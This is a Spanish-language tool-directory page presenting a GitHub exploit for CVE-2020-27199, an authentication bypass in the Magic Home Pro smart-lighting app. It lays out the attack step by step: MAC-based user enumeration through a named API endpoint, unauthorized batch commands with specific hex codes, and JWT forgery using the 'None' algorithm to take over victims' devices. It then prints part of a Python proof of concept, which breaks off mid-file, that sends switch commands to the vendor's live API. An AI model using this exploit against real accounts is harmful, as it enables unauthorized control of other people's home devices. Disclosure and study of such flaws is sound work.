Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Herramientas/GitHubGitHub/9lyph/cve-2020-27199
ReconocimientoSeguridad IoTExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónSeguridad MóvilAutenticaciónDesarrollo de Payloads
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

711hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2020-27199 (Magic Home Pro - Bypass de Autenticación)

magic-home-pro

Se encontraron múltiples vulnerabilidades en la aplicación móvil Magic Home Pro, que se utiliza para interactuar con el JadeHomic Kit RGB de Tira LED. La más significativa de estas vulnerabilidades es un bypass de autenticación (CVE-2020-27199), que en última instancia permite la toma total y el control de todo el grupo de dispositivos de una víctima.

  • A continuación se detallan los pasos de enumeración que conducen a la explotación final y el material PoC utilizado para llevar a cabo la enumeración y el exploit final.

PoC Files

magichome-forge.py - Forjador de JWT, utilizado para automatizar la toma de dispositivos

magichome-sniffer.py - Sniffer de red local que busca en la red dispositivos susceptibles. Construye una lista de dispositivos contra los cuales se pueden ejecutar ataques

magichome-switch.py - Permite encender los dispositivos

magichome-takeover.py - Payload que permite la toma exitosa de la cuenta de un usuario

Trabajo previo al descubrimiento

  • Android rooteado
  • Bypass de detección de root mediante parcheo, refirmado del JAR y reconstrucción del APK (requerido)
  • Bypass de fijación de certificados Frida al rescate (requerido)

Aplicación

Magic Home Pro

Proveedor del producto

JadeHomic

Propietario del controlador WiFi

Suzhou SmartChip Semiconductor Co.,Ltd

Sitio web del proveedor

JadeHomic

Referencias

Mitre

Exploit-db

SpiderLabs Blog

Código base del producto afectado

Magic Home Pro

Descripción

URL base: wifij01us.magichue.net

Enumeración

Esta vulnerabilidad permite que cualquier usuario autenticado utilice su nivel de autorización actual para interrogar endpoints que no forman parte de sus productos registrados, mediante una llamada API a /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. Esto da como resultado una respuesta HTTP que indica la existencia del endpoint y devuelve el Nombre de Usuario, el Identificador Único de Usuario (userUniID) y el ID Único Vinculado (bindedUniID) del endpoint asociado.

Usando la interrogación anterior, un atacante puede entonces utilizar una solicitud POST no autorizada a la API /app/sendCommandBatch/ZG001, utilizando la dirección MAC recién enumerada para enviar comandos al endpoint remoto usando comandos hexadecimales compatibles 71230fa3 y 71240fa4 que resultan en ENCENDIDO y APAGADO respectivamente.

Forjado de JWT basado en los detalles obtenidos anteriormente

Una vez completada la enumeración inicial, también es posible forjar un JWT utilizando los campos userID y uniID dentro de los datos del payload del JWT, degradando efectivamente el token para usar 'None' como algoritmo en la sección del encabezado del JWT (vulnerabilidad de bypass de firma). Usando esta vulnerabilidad, la aplicación es susceptible a la toma de dispositivos por parte de un atacante mediante el uso de la llamada API remota a /app/shareDevice/ZG001 y utilizando el parámetro JSON friendUserID para agregar el dispositivo a la lista de dispositivos del atacante, dando al atacante el control total del dispositivo endpoint.

Créditos:

  • Medium
  • JWT_TOOL - ticarpi

Tipo de vulnerabilidad

  • Bypass de autenticación
  • Divulgación de información
  • Acceso no autorizado
  • Escalada horizontal de privilegios

Información adicional

OUI

El OUI describe el Identificador Único de Organización para las direcciones MAC registradas en una organización. En el caso de JadeHomic, el OUI mágico es C8:2E:47, donde los primeros tres bytes corresponden al fabricante y los segundos tres bytes corresponden al número de serie asignado por el fabricante. En nuestro caso, el identificador del fabricante está registrado en Suzhou SmartChip Semiconductor Co., LTD.

Otro impacto del CVE

Permite el bypass de autenticación de la aplicación móvil Magic Home Pro y, por lo tanto, el control total de todo el grupo de dispositivos de un usuario víctima.

Vectores de ataque

  • Usuario autenticado requerido
  • Enumeración exitosa del sistema final existente
  • Envío posterior de comandos por lotes a un endpoint remoto
  • Toma de control del dispositivo
  • Bypass de autenticación

Enumerador PoC y exploit de comandos por lotes

La prueba de concepto enumera los últimos bytes dentro del rango de MAC y devuelve resultados. Permite probar la 'ejecución remota' si te sientes audaz.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

Descargar herramienta